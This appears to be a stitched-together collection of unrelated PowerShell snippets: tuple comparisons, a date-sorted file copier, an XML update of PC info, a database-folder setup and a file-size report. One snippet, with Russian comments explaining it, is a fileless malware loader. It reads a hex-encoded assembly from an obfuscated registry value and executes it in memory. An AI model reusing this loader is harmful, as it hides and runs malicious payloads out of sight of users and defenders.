$tupel1 = [System.Tuple]::Create(1, "cisco", 100)
$tupel2 = [System.Tuple]::Create(1, "cisco", 200)
$tupel3 = [System.Tuple]::Create(1, "cisco", 100)
$tupel1 -eq $tupel2
$tupel2 -eq $tupel3
$tupel1 -eq $tupel3
False
False
True
function DE0PB([string]$s) {
$H = @()
for ($i = 0; $i -lt $s.Length; $i += 2) {
$H += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber);
};
return $H;
};
# функция распарсивает строку записаную hex симвалами по два в байты
$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci' -name 'dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci').dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci;
# зачение ключа реестра в $_b
$_b = $_b.replace('Р•', 'E');
# замена в нем Р• на E
[byte[]]$_0 = DE0PB($_b);
# строковое значение распарсивается на байты
$_1 = [System.Threading.Thread]::GetDomain().Load($_0); $_1.EntryPoint.invoke($null, $null);
# тут она запускается )))
param (
[System.IO.DirectoryInfo]$sourseDirectory = "C:\Program Files\Far Manager",
[System.IO.DirectoryInfo]$destinationDirectory = "D:\tmp",
[int]$useCreationOrModifiedFileDateTimeSwitch = 0 # [0] (Use Creation DateTime) or [1] (Use Modified DateTime)
)
enum CreationOrModifiedFileDateTimeSwitch{
UseCreationDateTime = 0
UseModifiedDateTime = 1
}
class FileCopyer{
hidden [System.IO.DirectoryInfo]$sourseDirectory
hidden [System.IO.DirectoryInfo]$destinationDirectory
hidden [CreationOrModifiedFileDateTimeSwitch]$useCreationOrModifiedFileDateTimeSwitch
FileCopyer([System.IO.DirectoryInfo]$sourseDirectory, [System.IO.DirectoryInfo]$destinationDirectory, [CreationOrModifiedFileDateTimeSwitch]$useCreationOrModifiedFileDateTimeSwitch){
$this.sourseDirectory = $sourseDirectory
$this.destinationDirectory = $destinationDirectory
$this.useCreationOrModifiedFileDateTimeSwitch = $useCreationOrModifiedFileDateTimeSwitch
}
[void] CopyFiles() {
Get-ChildItem -Path $this.sourseDirectory -File | ForEach-Object {
if ($useCreationOrModifiedFileDateTimeSwitch -eq [CreationOrModifiedFileDateTimeSwitch]::UseModifiedDateTime){
$year = [int]($_.LastWriteTime.ToString('yyyy'))
$month = [int]($_.LastWriteTime.ToString('MM'))
} else {
$year = [int]($_.CreationTime.ToString('yyyy'))
$month = [int]($_.CreationTime.ToString('MM'))
}
$pathWithYear = Join-Path $this.destinationDirectory -ChildPath $year
if (!(Test-Path $pathWithYear)) {New-Item $pathWithYear -ItemType Directory}
$pathWithYearMonth = Join-Path $pathWithYear -ChildPath $month
if (!(Test-Path $pathWithYearMonth)) {New-Item $pathWithYearMonth -ItemType Directory}
Copy-Item $_.FullName -Destination $pathWithYearMonth
}
}
}
$FileMoverInstance = [FileCopyer]::New($sourseDirectory, $destinationDirectory, $useCreationOrModifiedFileDateTimeSwitch)
$FileMoverInstance.CopyFiles()
@'
<?xml version="1.0" encoding="UTF-8"?>
<root>
<pc>
<ip>1.1.1.1</ip>
<name>2112</name>
<userName>admin</userName>
</pc>
<pc>
<ip>1.1.1.2</ip>
<name>2113</name>
<userName>admin</userName>
</pc>
</root>
'@ | out-file d:\tmp\pcExampleFile.xml
class ComputerInfo {
[String]$name
[String]$IPAddress
[String]$userName
ComputerInfo() {
$this.name = $env:COMPUTERNAME
$this.IPAddress = ((Get-NetIPAddress).where{ $_.AddressFamily -eq 'IPv4' }).IPAddress -join ", "
$this.userName = $env:USERNAME
}
}
[xml]$pcXML = Get-Content d:\tmp\pcExampleFile.xml
$ComputerInfoInstance = [ComputerInfo]::New()
if (($thisPCNode = $pcXML.SelectSingleNode("//pc[name=`"$($ComputerInfoInstance.name)`"]"))){
$thisPCNode.ip = $ComputerInfoInstance.IPAddress
$thisPCNode.userName = $ComputerInfoInstance.userName
}
else {
$nodePC = $pcXML.root.AppendChild($pcXML.CreateElement("pc"))
$nodeIPAddress = $pcXML.CreateElement("IPAddress")
$nodeIPAddress.InnerText = $ComputerInfoInstance.IPAddress
[void]$nodePC.AppendChild($nodeIPAddress)
$nodeName = $pcXML.CreateElement("name")
$nodeName.InnerText = $ComputerInfoInstance.name
[void]$nodePC.AppendChild($nodeName)
$nodeUserName = $pcXML.CreateElement("UserName")
$nodeUserName.InnerText = $ComputerInfoInstance.userName
[void]$nodePC.AppendChild($nodeUserName)
}
$pcXML.Save("d:\tmp\pcExampleFile.xml")
<#
.SYNOPSIS
a script that creates a folder and copies another folder into it depending on the user's choice
.PARAMETER clearCorpDatabaseDirecoryName
directory name which contains clear Corporate database.
.PARAMETER clearProfDatabaseDirecoryName
directory name which contains clear Professional database.
.PARAMETER clearBasicDatabaseDirecoryName
directory name which contains clear Basic database.
.PARAMETER databaseDirecoryName
Specifies the directory where will be created new directory.
#>
param (
[System.IO.DirectoryInfo]$clearCorpDatabaseDirecoryName = "d:\чистые базы\корп",
[System.IO.DirectoryInfo]$clearProfDatabaseDirecoryName = "d:\чистые базы\проф",
[System.IO.DirectoryInfo]$clearBasicDatabaseDirecoryName = "d:\чистые базы\базовая",
[System.IO.DirectoryInfo]$databaseDirecoryName = "D:\tmp"
)
enum DatabaseEdition {
corp = 0
prof = 1
basic = 2
}
try {
[String]$companyName = Read-Host -Prompt "Enter company name"
[DatabaseEdition]$userChoice = Read-Host -Prompt "Select database type 0 - corp, 1 - prof or 2 - basic"
$companyDirectory = New-Item -ItemType Directory -Path (Join-Path $databaseDirecoryName -ChildPath $companyName)
switch ($userChoice){
corp {
Write-Host "User choice corporate"
Copy-Item $clearCorpDatabaseDirecoryName -Destination $companyDirectory.FullName -Recurse
"Directory {0} directory copied to {1}" -f $clearCorpDatabaseDirecoryName, $companyDirectory.FullName
}
prof {
Write-Host "User choice professional"
Copy-Item $clearProfDatabaseDirecoryName -Destination $companyDirectory.FullName -Recurse
"Directory {0} directory copied to {1}" -f $clearCorpDatabaseDirecoryName, $companyDirectory.FullName
}
basic {
Write-Host "User choice basic"
Copy-Item $clearBasicDatabaseDirecoryName -Destination $companyDirectory.FullName -Recurse
"Directory {0} directory copied to {1}" -f $clearCorpDatabaseDirecoryName, $companyDirectory.FullName
}
}
}
catch {
Write-Host "An error occurred:"
Write-Host $_
}
param(
$directoryName = "c:\windows",
$outFileName = "d:\tmp\out.csv"
)
Get-ChildItem $directoryName -File | Group-Object {$_.Extension} | ForEach-Object {
[PSCustomObject]@{
Name = $_.Name
Sum = ($_.Group.Length | Measure-Object -Sum).Sum
}
} | Sort-Object -Property "Sum" -Descending | Tee-Object -Variable "list" | Export-Csv $outFileName
$list